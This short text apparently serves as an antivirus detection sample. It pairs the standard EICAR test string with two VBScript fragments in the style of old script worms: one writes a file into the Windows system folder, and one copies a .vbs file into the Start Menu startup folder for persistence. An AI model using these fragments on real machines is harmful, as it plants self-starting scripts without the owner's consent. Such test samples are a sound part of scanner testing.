Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) 
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"